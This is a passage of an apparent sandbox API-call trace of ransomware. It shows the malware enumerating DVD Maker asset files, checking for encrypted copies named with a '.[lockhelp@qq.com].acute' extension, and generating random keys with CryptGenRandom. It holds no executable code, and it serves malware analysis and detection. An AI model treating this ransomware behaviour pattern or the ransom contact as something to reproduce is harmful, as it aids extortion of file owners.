lpFileSize=0x3e2faa0*=5072) returned 1 [0274.559] CloseHandle (hObject=0x30c) returned 1 [0274.559] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_glass_thumbnail.bmp")) returned 0x20 [0274.559] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_glass_thumbnail.bmp.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.559] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_glass_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.559] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.559] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_highlights_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.559] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5072) returned 1 [0274.560] CloseHandle (hObject=0x30c) returned 1 [0274.560] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_highlights_thumbnail.bmp")) returned 0x20 [0274.560] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_highlights_thumbnail.bmp.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.560] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_highlights_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.560] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.560] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_performance_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_performance_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.560] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5072) returned 1 [0274.560] CloseHandle (hObject=0x30c) returned 1 [0274.560] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_performance_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_performance_thumbnail.bmp")) returned 0x20 [0274.560] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_performance_Thumbnail.bmp.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_performance_thumbnail.bmp.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.560] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_performance_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_performance_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.560] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.560] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_photo_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.561] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5072) returned 1 [0274.561] CloseHandle (hObject=0x30c) returned 1 [0274.561] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_photo_thumbnail.bmp")) returned 0x20 [0274.561] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_photo_thumbnail.bmp.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.561] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_photo_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.561] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.561] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_plain_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.561] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5072) returned 1 [0274.561] CloseHandle (hObject=0x30c) returned 1 [0274.562] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_plain_thumbnail.bmp")) returned 0x20 [0274.562] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_plain_thumbnail.bmp.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.562] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_plain_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.562] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.562] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_postage_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.562] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5072) returned 1 [0274.562] CloseHandle (hObject=0x30c) returned 1 [0274.562] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_postage_thumbnail.bmp")) returned 0x20 [0274.562] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_postage_thumbnail.bmp.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.562] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_postage_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.562] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.562] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_scrapbook_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_scrapbook_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.563] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5072) returned 1 [0274.563] CloseHandle (hObject=0x30c) returned 1 [0274.563] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_scrapbook_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_scrapbook_thumbnail.bmp")) returned 0x20 [0274.563] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_scrapbook_Thumbnail.bmp.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_scrapbook_thumbnail.bmp.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.563] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_scrapbook_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_scrapbook_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.563] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.564] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_specialocc_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_specialocc_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.564] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5072) returned 1 [0274.564] CloseHandle (hObject=0x30c) returned 1 [0274.564] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_specialocc_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_specialocc_thumbnail.bmp")) returned 0x20 [0274.564] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_specialocc_Thumbnail.bmp.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_specialocc_thumbnail.bmp.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.564] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_specialocc_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_specialocc_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.564] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.564] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_travel_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_travel_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.564] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5072) returned 1 [0274.564] CloseHandle (hObject=0x30c) returned 1 [0274.564] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_travel_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_travel_thumbnail.bmp")) returned 0x20 [0274.564] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_travel_Thumbnail.bmp.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_travel_thumbnail.bmp.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.564] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_travel_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_travel_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.564] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.564] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_widescreen_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_widescreen_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.564] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5072) returned 1 [0274.565] CloseHandle (hObject=0x30c) returned 1 [0274.565] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_widescreen_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_widescreen_thumbnail.bmp")) returned 0x20 [0274.565] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_widescreen_Thumbnail.bmp.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_widescreen_thumbnail.bmp.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.565] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_widescreen_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_widescreen_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.565] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.565] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\1047x576black.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.566] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4570) returned 1 [0274.566] CloseHandle (hObject=0x30c) returned 1 [0274.566] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\1047x576black.png")) returned 0x20 [0274.566] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\1047x576black.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\1047x576black.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.566] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.566] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.566] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\203x8subpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.566] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2820) returned 1 [0274.566] CloseHandle (hObject=0x30c) returned 1 [0274.566] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\203x8subpicture.png")) returned 0x20 [0274.566] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\203x8subpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.566] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\203x8subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.566] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.566] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\bandwidth.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\bandwidth.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.567] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=23215) returned 1 [0274.567] CloseHandle (hObject=0x30c) returned 1 [0274.567] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\bandwidth.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\bandwidth.png")) returned 0x20 [0274.567] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\bandwidth.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\bandwidth.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.567] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\bandwidth.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\bandwidth.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.567] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.567] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\blackbars80.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\blackbars80.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.567] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=6431) returned 1 [0274.567] CloseHandle (hObject=0x30c) returned 1 [0274.567] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\blackbars80.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\blackbars80.png")) returned 0x20 [0274.568] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\blackbars80.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\blackbars80.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.568] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\blackbars80.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\blackbars80.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.568] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.568] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.568] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5088) returned 1 [0274.568] CloseHandle (hObject=0x30c) returned 1 [0274.568] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_buttongraphic.png")) returned 0x20 [0274.568] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_buttongraphic.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.568] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.568] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.568] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.568] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3130) returned 1 [0274.568] CloseHandle (hObject=0x30c) returned 1 [0274.568] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_selectionsubpicture.png")) returned 0x20 [0274.568] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_selectionsubpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.568] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.568] CryptGenRandom (in: hProv=0x7d5188, 